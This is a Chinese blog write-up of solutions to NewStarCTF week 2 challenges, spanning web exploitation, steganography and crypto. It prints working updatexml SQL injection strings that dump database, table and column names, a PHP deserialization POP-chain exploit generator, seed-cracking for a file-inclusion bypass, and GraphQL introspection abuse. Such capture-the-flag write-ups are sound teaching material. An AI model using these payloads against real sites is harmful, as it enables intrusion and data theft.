NewStarCTF week2 部分题解
前言
NewStarCTF第二周和第一周的难度升降有点大,勉强能玩玩。
一、Word-For-You(2 Gen)
这是上星期的Sql注入题,但是让我花了不少时间,因为我的浏览器竟然一直都是同一个页面不变化,尝过盲注好像也不行,最后更换了BP工具,才能看到是有回显的,可以使用报错注入。
updatexml报错注入原理:
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
第一个和第三个参数是XML的内容,可以随便写,第二个内容是XPATH路径,XPATH路径出错引起的报错,并且报错内容含有错误的路径内容。extractvalue原理也一样。
测试如下
name=1' 发现报错
name=1' or 1=1# 发现不报错,说明存在注入
name=1' or updatexml(1,concat(0x7e,database()),1)# 爆出数据库 wty
name=1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆出表wfy_admin,wfy_comments,wfy_info
name=1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='wfy_comments')),1)#
爆出字段id,text,user,name,display
name=1' or updatexml(1,concat(0x7e,(select text from wfy_comments where id=(select max(id)-1 from wfy_comments))),1)#
爆出flag
二、IncludeOne
题目:
";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
//flag in `flag.php`
include($_GET['file']);
}else{
echo "Baby Hacker?";
}
}else{
echo "No Hacker!";
} Hint: 1219893521
No Hacker!
这题是伪随机数的种子爆破,跟枯燥的抽奖那题类似,就是mt_rand()生成随机整数的时,会先进行种子的播种,当种子一样,接下来的数值根据次数也是可预测的,题目过滤了base,并且要有NewStar,可以使用rot进行文件包含。
![7ea36b40cf8c442c9117260a391230c5.png](https://img-
blog.csdnimg.cn/7ea36b40cf8c442c9117260a391230c5.png)
![18f1fe0c9c32495e93179e99cf11e93c.png](https://img-
blog.csdnimg.cn/18f1fe0c9c32495e93179e99cf11e93c.png)
爆出了种子为1145146,接下来使用相同的种子进行两次mt_rand()即可得到相同的数值,得到1202031004。
![7049f562ab34453e8173b0f06d819bf0.png](https://img-
blog.csdnimg.cn/7049f562ab34453e8173b0f06d819bf0.png)
得到后进行rot13解密即可。
s = "synt{sor00r4p-63rq-47q0-o8rr-610s58s76n4n}"
i = 13
result = ""
for c in s:
oc = ord(c)
if 65 <= oc <= 90:
result += chr(((oc + i) - 65) % 26 + 65)
elif 97 <= oc <= 122:
result += chr(((oc + i) - 97) % 26 + 97)
else:
result += c
print(result)
三、UnserializeOne
题目:
name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
反序列化的魔术方法:
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__clone(),当对象复制完成时调用
很明显解题要使函数进入_invoke方法,要进入invoke方法就需要用函数方式调用对象,isset方法刚好是这样,所以$func指向Sec类,要触发isset方法,要有不可访问属性,clone方法里面obj->cmd,没有cmd变量,$obj指向Start类,要触发clone方法,需要复制对象,明显在call中,要触发call方法,调用对象中不可访问的方法,toString中有check方法,所以sec->$obj指向Easy类,触发destruct方法即可触发toStrng方法。
完整的pop链: invoke->isset->clone->call->_toString->destruct
解题:
func=new Sec();
}
}
class Sec
{
private $obj;
public $var;
function __construct()
{
$this->obj=new Easy();
}
}
class Easy
{
public $cla;
function __construct()
{
$this->cla=new eeee();
}
}
class eeee
{
public $obj;
}
$start = new Start();
$eeee = new eeee();
$eeee->obj = $start;
$sec = new Sec();
$sec->var = $eeee;
$start->name=$sec;
echo urlencode(serialize($start));
结果使用url编码是因为存在保护变量,序列化会产生乱码。
四、ezAPI
![a86c9cbf7bdf4b08bec798dcd64fb7fc.png](https://img-
blog.csdnimg.cn/a86c9cbf7bdf4b08bec798dcd64fb7fc.png)
就给了一个id的查询,能够通过id查询出名字,开始以为是sql注入,发现id似乎只能是数字,增添其它东西不会显示Hacker,实在没有办法,爆破了下目录,发现有www.zip。
![d7f24758ef78456c8022300d269e1ea0.png](https://img-
blog.csdnimg.cn/d7f24758ef78456c8022300d269e1ea0.png)
www.zip中有PHP的源码:
array(
'method' => 'POST',
'header' => 'Content-type: application/json',
'content' => $data,
'timeout' => 10 * 60
)
);
$context = stream_context_create($options);
$result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
return $result;
}
if (isset($id)) {
if (waf($id)) {
isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
$res = json_decode(send($data));
if ($res->data->users_user_by_pk->name !== NULL) {
echo "ID: " . $id . "
Name: " . $res->data->users_user_by_pk->name;
} else {
echo " **Can't found it!**
DEBUG: ";
var_dump($res->data);
}
} else {
die(" **Hacker! Only Number!** ");
}
} else {
die(" **No Data?** ");
}
?>
源码中使用了waf,限制了id只能是0-9之间的数字,那不可能进行sql注入。但是似乎源码中显示还能通过post一个data参数,data参数默认一句query句拼接了id,然后传入给了content,变成了stream流,再从服务器中通过file_get_contents()获取内容,而且data参数的值是我们可以控制的。服务器中是graphql:8080,感觉graphql可能是一种框架,于是上百度搜索一下,会不会存在上面漏洞之类的?结果在CSDN某篇博客中看到graphql存在内省查询问题,于是试了一下,有了新发现。
[渗透测试之graphQL_Sp4rkW的博客-CSDN博客_graphql
注入![](https://csdnimg.cn/release/blog_editor_html/release2.2.0/ckeditor/plugins/CsdnLink/icons/icon-
default.png?t=M85B)https://blog.csdn.net/wy_97/article/details/110522150](https://blog.csdn.net/wy_97/article/details/110522150
"渗透测试之graphQL_Sp4rkW的博客-CSDN博客_graphql 注入")
![dee6481ba00e435baf45db2364595214.png](https://img-
blog.csdnimg.cn/dee6481ba00e435baf45db2364595214.png)
大致就是这个提供了一个接口,可以通过这个接口查询里面所有对象定义,接口信息,并且发现了flag的名称,那么应该可以修改data的查询语句,查询这个flag文件。
{"query":"query{\n users_user_by_pk(id:' . $id . ') {\n name \n}\n}\n",
"variables":null},里面的users_user_ny_pk应该是文件,后面的name应该是type的类型吧,那里[name]=>flag,应该直接把name该成flag就好了把,随后解出了flag。
![1dc15fdde9534e58a06d13492430e772.png](https://img-
blog.csdnimg.cn/1dc15fdde9534e58a06d13492430e772.png)
五、 Yesec no drumsticks 2
知识:零宽度隐写
零宽度字符是一些不可见,不可打印的字符,存在于页面中用于调整页面的格式
零宽度空格符 (zero-width space) U+200B : 用于较长单词的换行分隔
零宽度非断空格符 (zero-width no-break space) U+FEFF : 用于阻止特定位置的换行分隔
零宽度连字符 (zero-width joiner) U+200D : 用于阿拉伯文与印度语系等文字中,使不会发生连字的字符间产生连字效果
零宽度断字符 (zero-width non-joiner) U+200C : 用于阿拉伯文,德文,印度语系等文字中,阻止会发生连字的字符间的连字效果
左至右符 (left-to-right mark) U+200E :
用于在混合文字方向的多种语言文本中(例:混合左至右书写的英语与右至左书写的希伯来语),规定排版文字书写方向为左至右
右至左符 (right-to-left mark) U+200F : 用于在混合文字方向的多种语言文本中,规定排版文字书写方向为右至左
![5149e8b8de964fceae739f049d99d516.png](https://img-
blog.csdnimg.cn/5149e8b8de964fceae739f049d99d516.png)
知识:base58
Base58 采用数字、大写字母、小写字母,去除歧义字符 0(零)、O(大写字母
O)、I(大写字母i)、l(小写字母L),总计58个字符作为编码的字母表。
直接工具解,解的结果后使用base58解码后再用十六进制转换为字符串即可:[Unicode Steganography with Zero-Width
Characters![](https://csdnimg.cn/release/blog_editor_html/release2.2.0/ckeditor/plugins/CsdnLink/icons/icon-
default.png?t=M85B)https://330k.github.io/misc_tools/unicode_steganography.html](https://330k.github.io/misc_tools/unicode_steganography.html
"Unicode Steganography with Zero-Width Characters")
六、Coldwinds's Desktop
图片拼接,做的我有点小无语,主要是montage以及gaps的使用。
kali系统:
apt-get install graphicsmagick-imagemagick-compat
git clone https://github.com/nemanja-m/gaps.git
vim requirements.txt 把里面的模块更改成自己的版本
montage *.png -tile 长x宽 -geometry +0+0 flag.png +0+0表示无缝隙
python3 gap --image=路径 --size=小图片的宽高 --save
总共144张图片,我自己做的分别用12x12 10x14 14x10都试试看看,才把图片的flag看全。
七、qsdz's girlfriend 2
猫脸变换:将各个像素点进行置换,使位置发生改变,使一张有意义的照片变成无意义。满足矩阵行列式值为1的变换,也就是说,图片必须是正方形的。通过矩阵逆置换即可变换为原图片。
广义猫脸变换的公式:![ffdeb0150cb8451a85c3db1c93f10393.png](https://img-
blog.csdnimg.cn/ffdeb0150cb8451a85c3db1c93f10393.png)
逆变换公式: ![dca0b5a82aca4a908e85cfc76abbb737.png](https://img-
blog.csdnimg.cn/dca0b5a82aca4a908e85cfc76abbb737.png)
脚本:
import numpy as np
import cv2
def arnold_decode(image, arnold_times):
a = 0x6f6c64
b = 0x726e
# 1:创建新图像,全为0的三维数组
decode_image = np.zeros(shape=image.shape)
# 读取图片的长宽像素,这里是98x98,即总像素点
height, width = image.shape[0], image.shape[1]
N = height # N是正方形的边长
for time in range(arnold_times): # 变换的次数
# 遍历图片的像素点坐标
for old_x in range(height):
for old_y in range(width):
# 根据猫脸公式矩阵即像素点的逆置换,得到原未经过猫脸变换的图片
new_x = ((a * b + 1) * old_x + (-a) * old_y) % N #原像素点的x坐标值
new_y = ((-b) * old_x + old_y) % N #原像素点y的坐标值
decode_image[new_x, new_y, :] = image[old_x, old_y, :]
cv2.imwrite('flag.png', decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0]) # 以PNG写入图片
return decode_image
if __name__ == '__main__':
# imread(path,flag)读取图片,加载彩色图片默认参数值是flag=1,灰度是0,透明度-1,结果是三维数组,前两维是像素坐标,最后一维是通道索引
it = cv2.imread('girlfriend.png')
arnold_decode(it, 1)
八、Affine(放射加密)
放射加密的加解密可以看我应用密码学的总结
解密脚本如下:
from Crypto.Util.number import *
output = b"\xb1\x83\x82T\x10\x80\xc9O\x84\xc9<\x0f\xf2\x82\x9a\xc9\x9b8'\x9b<\xdb\x9b\x9b\x82\xc8\xe0V"
ciphertext = list(output)
l = [3, 5, 7, 11, 13, 17, 19,
23, 29, 31, 37, 41, 43, 47, 53,
59, 61, 67, 71, 73, 79, 83, 89,
97, 101, 103, 107, 109, 113, 127, 131,
137, 139, 149, 151, 157, 163, 167, 173,
179, 181, 191, 193, 197, 199, 211, 223,
227, 229, 233, 239, 241, 251]
for a in l:
for b in l:
k1 = inverse(a, 256)
k2 = k1 * b % 256
text = []
result = ''
for f in ciphertext:
z = chr((k1 * f - k2) % 256)
text.append(z)
if len(text) == 28:
for b in text:
result += b
print(result)
思路就是,通过爆破256内的a和b,然后通过a,b求出解密的k1,k2,解出flag,然后从所有答案中找出flag。
九、unusual_base
from Crypto.Util.number import *
from random import shuffle
from string import ascii_lowercase, ascii_uppercase, digits
alphabet = ascii_uppercase + ascii_lowercase + digits + '$&'
alphabet = list(alphabet)
bits = ''
pad_len = len(flag) % 3
for f in flag:
bits += bin(ord(f))[2:].rjust(8, '0') # 用0填充到8位
bits += '0000' * pad_len # 加4个0位
encoded = ''
shuffle(alphabet) # 将字母表元素随机排序
alphabet = "".join(alphabet)
print(bits)
for i in range(0, len(bits), 6): # 6位为一次,一共38次
encoded += alphabet[int(bits[i:i + 6], 2)] # 取打乱字母表中的字符
encoded += '%' * pad_len
print(f'encoded = "{encoded}"')
print(f'alphabet = "{alphabet}"')
# encoded = "GjN3G$B3de58ym&7wQh9dgVNGQhfG2hndsGjlOyEdaxRFY%"
# alphabet = "c5PKAQmgI&qSdyDZYCbOV2seXGloLwtFW3f9n7j481UMHBp6vNETRJa;$rxuz0hik"
解密脚本:
alphabet = "c5PKAQmgI&qSdyDZYCbOV2seXGloLwtFW3f9n7j481UMHBp6vNETRJa;$rxuz0hik"
encoded = "GjN3G$B3de58ym&7wQh9dgVNGQhfG2hndsGjlOyEdaxRFY"
bits=''
result=''
for i in encoded:
bits+=bin(alphabet.index(i))[2:].rjust(6,'0')
print(bits)
for i in range(0,len(bits),8):
result+=chr(int(bits[i:i+8],2))
print(result)
十、人类的本质
from hashlib import sha256
from base64 import *
import random
cipher = []
def fun1(x):
return sha256(x.encode()).hexdigest()
def fun2(x):
return pow(114514, ord(x), 1919810)
def fun3(x):
key = random.randint(0, 1145141919810)
ans = x.encode()
if key & 1: # 位运算符 1&1=1,1&0=0,0&0=0
ans = b32encode(ans)
key >>= 1 # 二进制右移1位
if key & 1:
ans = b64encode(ans)
key >>= 1
if key & 1:
ans = b16encode(ans)
key >>= 1
return ans
def encrypt(msg):
res = []
for i in msg:
tmp = list(map(random.choice([fun1, fun2, fun3]), [i]))[0] # 随机进入fun函数
res.append(tmp)
return res
print(encrypt(flag))
思路还是挺明确的,将flag的每一个字符,随机送入三个函数中,第一个函数是SHA256单向加密,直接遍历爆破就好,第二个函数也一样,第三个用了base32、base64、base16,它们的特征分别是base16字符为0123456789ABCDEF
,base32字符为ABCDEFGHIJKLMNOPQRSTUVWXYZ234567,base64字符为a-Z0-9+/
base64和base32可能会有=填充符,base16一定没有=号,然后我解base的时候自己一个个手解就好(注意base32和base64的顺序)可能会有不同的结果。
import string
from base64 import *
from hashlib import sha256
l = ['252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111', 1495846, 1452754, b'M4======',
'021fb596db81e6d02bf3d2586ee3981fe519f275c0ac9ca76bbcf2ebb4097d96',
'2e7d2c03a9507ae265ecf5b5356885a53393a2029d241394997265a1a25aefc6',
'4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a', b'Tg==',
'1b16b1df538ba12dc3f97edbb85caa7050d46c148134290feba80f8236c83db9', b'52304539505430395054303D',
'e3b98a4da31a127d4bde6e43033f66ba274cab0eb7eb1c70ec41402bf6273dd8', b'58773D3D',
'3f39d5c348e5b79d06e842c114e6cc571583bbf44e4b0ebfda1a01ec05745d43',
'4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce',
'2e7d2c03a9507ae265ecf5b5356885a53393a2029d241394997265a1a25aefc6', b'T0k9PT09PT0=',
'18f5384d58bcb1bba0bcd9e6a6781d1a6ac2cc280c330ecbab6cb7931b721552', b'T0E9PT09PT0=', 825026,
'd2e2adf7177b7a8afddbc12d1634cf23ea1a71020f6a1308070a16400fb68fde', 1455816, b'4F553D3D3D3D3D3D', 1165366, 1242964,
b'4F493D3D3D3D3D3D', 652094, 597296, '4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce',
'4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a', b'54314539505430395054303D', 1242964, 368664,
b'TVU9PT09PT0=', b'cw==', 1602214]
a = string.ascii_letters + string.digits + '{}_ '
result = ''
def fun1(r):
for h in a:
if sha256(h.encode()).hexdigest() == r:
return h
def fun2(r):
for h in a:
if pow(114514, ord(h), 1919810) == r:
return h
for i in l:
if len(str(i)) > 60:
result += fun1(i)
elif str(i).isdigit():
result += fun2(i)
else:
result += '*'
print(result)
然后直接解base替换*就好。
十一、EzRabin
Rabin加密:Rabin加密可以看成了RSA的加密的一种,一般e=2,有特殊的素数p与q都是3mod4,主要是基于计算模合数平方根困难的算法,简单来说就是c=m^2modn,直接c的情况下,要计算出m是困难的。解密算法如下:
![watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDYxNzkwMg==,size_16,color_FFFFFF,t_70#pic_center](https://img-
blog.csdnimg.cn/20201103212457353.png?x-oss-
process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDYxNzkwMg==,size_16,color_FFFFFF,t_70#pic_center)
如果p和q都是3mod4,mp和mq的解法为:
![20201103212514243.png#pic_center](https://img-
blog.csdnimg.cn/20201103212514243.png#pic_center)
from Crypto.Util.number import *
from somewhere_you_do_not_know import flag
# flag格式为 flag{XXXX}
def ezprime(n):
p = getPrime(n)
while p % 4 != 3:
p = getPrime(n)
return p
p = ezprime(512)
q = ezprime(512)
n = p * q
m = bytes_to_long(flag)
m = (m << 300) + getRandomNBitInteger(300)
assert m ** 2 > n > m
c = pow(m, 4, n)
print('c=', c)
print('p=', p)
print('q=', q)
'''
c= 59087040011818617875466940950576089096932769518087477304162753047334728508009365510335057824251636964132317478310267427589970177277870220660958570994888152191522928881774614096675980017700457666192609573774572571582962861504174396725705862549311100229145101667835438230371282904888448863223898642183925834109
p= 10522889477508921233145726452630168129218487981917965097647277937267556441871668611904567713868254050044587941828674788953975031679913879970887998582514571
q= 11287822338267163056031463255265099337492571870189068887689824393221951058498526362126606231275830844407608185240702408947800715624427717739233431252556379
就要花里胡哨(
'''
这里主要是e取了4,其实可以将m分两次求,就是变成(m^2)^2,先求出m^2的四个解,然后通过四个解再求一次解,就能从合适的m中取出正确的值。这里求出m^2其实也可以求根爆破,能开根为止,但是断言m这里限制了这种做法。
解法脚本:
from Crypto.Util.number import *
import gmpy2
def rsa_gong_N_def(e1, e2):
e1, e2 = int(e1), int(e2)
s = gmpy2.gcdext(e1, e2) # 扩展欧几里得算法 t*e1+z*e2=1,求出t和z
t = s[1]
z = s[2]
return t, z
def rabin_decrypt(c, p, q):
n = p * q
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
yp, yq = rsa_gong_N_def(p, q)
r = (yp * p * mq + yq * q * mp) % n
rr = n - r
s = (yp * p * mq - yq * q * mp) % n
ss = n - s
return r, rr, s, ss
c = 59087040011818617875466940950576089096932769518087477304162753047334728508009365510335057824251636964132317478310267427589970177277870220660958570994888152191522928881774614096675980017700457666192609573774572571582962861504174396725705862549311100229145101667835438230371282904888448863223898642183925834109
p = 10522889477508921233145726452630168129218487981917965097647277937267556441871668611904567713868254050044587941828674788953975031679913879970887998582514571
q = 11287822338267163056031463255265099337492571870189068887689824393221951058498526362126606231275830844407608185240702408947800715624427717739233431252556379
m2 = rabin_decrypt(c, p, q)
# 将m的四次方分成(m^2)^2,解第一次有4个m^2的解,再对m^2求出四个解
for i in m2:
j = rabin_decrypt(i, p, q)
for m in j:
print(long_to_bytes(m >> 300))
文章标题:NewStarCTF week2 部分题解
文章链接:https://aiwin.fun/index.php/archives/992/
最后编辑:2024 年 1 月 5 日 21:09 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)